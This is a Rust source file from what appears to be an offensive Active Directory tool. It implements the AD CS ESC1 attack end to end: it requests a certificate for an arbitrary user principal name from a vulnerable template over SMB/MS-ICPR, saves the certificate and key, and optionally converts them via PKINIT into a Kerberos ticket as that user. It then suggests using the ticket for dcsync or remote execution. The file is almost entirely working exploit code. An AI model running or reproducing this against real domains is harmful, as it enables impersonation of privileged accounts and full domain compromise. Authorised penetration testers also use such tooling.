use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct Esc1Args {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
#[arg(long)]
pub ca: String,
#[arg(long)]
pub template: String,
#[arg(long)]
pub upn: String,
#[arg(long, default_value = "esc1.crt")]
pub out: String,
#[arg(long)]
pub pkinit: bool,
#[arg(long)]
pub kdc: Option<String>,
}
pub(crate) async fn esc1(a: Esc1Args) -> Result<()> {
let mut checklist = crate::ui::StageChecklist::new([
"build CSR (UPN SAN)",
"SMB connect + IPC$ tree",
"submit CSR via MS-ICPR",
"parse CA issue response",
"write cert + key",
"PKINIT to TGT (--pkinit)",
]);
let result = esc1_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("ESC1 stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("ESC1 stages (failed)");
}
}
result
}
async fn esc1_impl(a: Esc1Args, checklist: &mut crate::ui::StageChecklist) -> Result<()> {
use smb2_client::SmbClient;
let subject = a.upn.split('@').next().unwrap_or("adhammer");
let csr = adhammer_kerberos::csr::build_csr(subject, Some(&a.upn))?;
checklist.record_ok(
"build CSR (UPN SAN)",
format!("subject={subject}, SAN upn={}", a.upn),
);
eprintln!("[*] CSR built (subject CN={subject}, SAN upn={})", a.upn);
let mut smb = SmbClient::connect(&a.auth.host).await?;
smb.login(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
checklist.record_ok(
"SMB connect + IPC$ tree",
format!("\\\\{}\\IPC$", a.auth.host),
);
let r = dcerpc::icpr::request_cert(
&mut smb,
&a.ca,
&a.template,
&csr.der,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await?;
checklist.record_ok(
"submit CSR via MS-ICPR",
format!("template={}, CA={}", a.template, a.ca),
);
if r.disposition == 3 && !r.cert_der.is_empty() {
checklist.record_ok(
"parse CA issue response",
format!("ISSUED ({} bytes cert DER)", r.cert_der.len()),
);
std::fs::write(&a.out, &r.cert_der)?;
let key_path = format!("{}.key.pem", a.out);
std::fs::write(&key_path, &csr.key_pem)?;
checklist.record_ok("write cert + key", format!("{} + {}", a.out, key_path));
println!(
"[+] ESC1: certificate ISSUED for UPN {} → {} ({} bytes), key → {}",
a.upn,
a.out,
r.cert_der.len(),
key_path
);
if a.pkinit {
let kdc = a.kdc.clone().unwrap_or_else(|| a.auth.host.clone());
let realm = a
.upn
.split('@')
.nth(1)
.unwrap_or(&a.auth.domain)
.to_string();
match adhammer_kerberos::pkinit::pkinit_with_cert(
subject,
&realm,
&kdc,
&csr.key_pem,
Some(&r.cert_der),
)
.await
{
Ok(tgt) => {
let ccache = format!("{subject}.ccache");
std::fs::write(&ccache, tgt.ccache.expose())?;
checklist.record_ok(
"PKINIT to TGT (--pkinit)",
format!("TGT for {subject}@{realm} → {ccache}"),
);
println!("[+] PKINIT OK — TGT obtained as {subject}; ccache → {ccache}");
println!(
" KRB5CCNAME={ccache} → use for Kerberos auth (dcsync, exec via -k, …)"
);
}
Err(e) => {
let brief = if e.to_string().contains("error 66") {
"PKINIT rejected — KB5014754 strong mapping (cert issued, escalation blocked)".to_string()
} else {
format!("PKINIT failed: {e}").chars().take(80).collect()
};
checklist.record_ok("PKINIT to TGT (--pkinit)", brief);
println!("[-] PKINIT with the issued cert failed: {e:#}");
if e.to_string().contains("error 66") {
println!(" (KDC_ERR_CANT_VERIFY_CERTIFICATE — likely strong certificate-mapping");
println!(" enforcement (KB5014754): a UPN-only cert has no SID mapping to the");
println!(" target, so the KDC refuses it. ESC1 escalation is mitigated on this DC.");
println!(" The cert was still issued — the template is vulnerable.)");
}
}
}
} else {
checklist.record_ok("PKINIT to TGT (--pkinit)", "skipped (no --pkinit)");
println!(
" next: --pkinit to turn this cert into a TGT as {}",
subject
);
}
} else {
anyhow::bail!(
"enrollment not issued (disposition {}): {}",
r.disposition,
r.message
);
}
Ok(())
}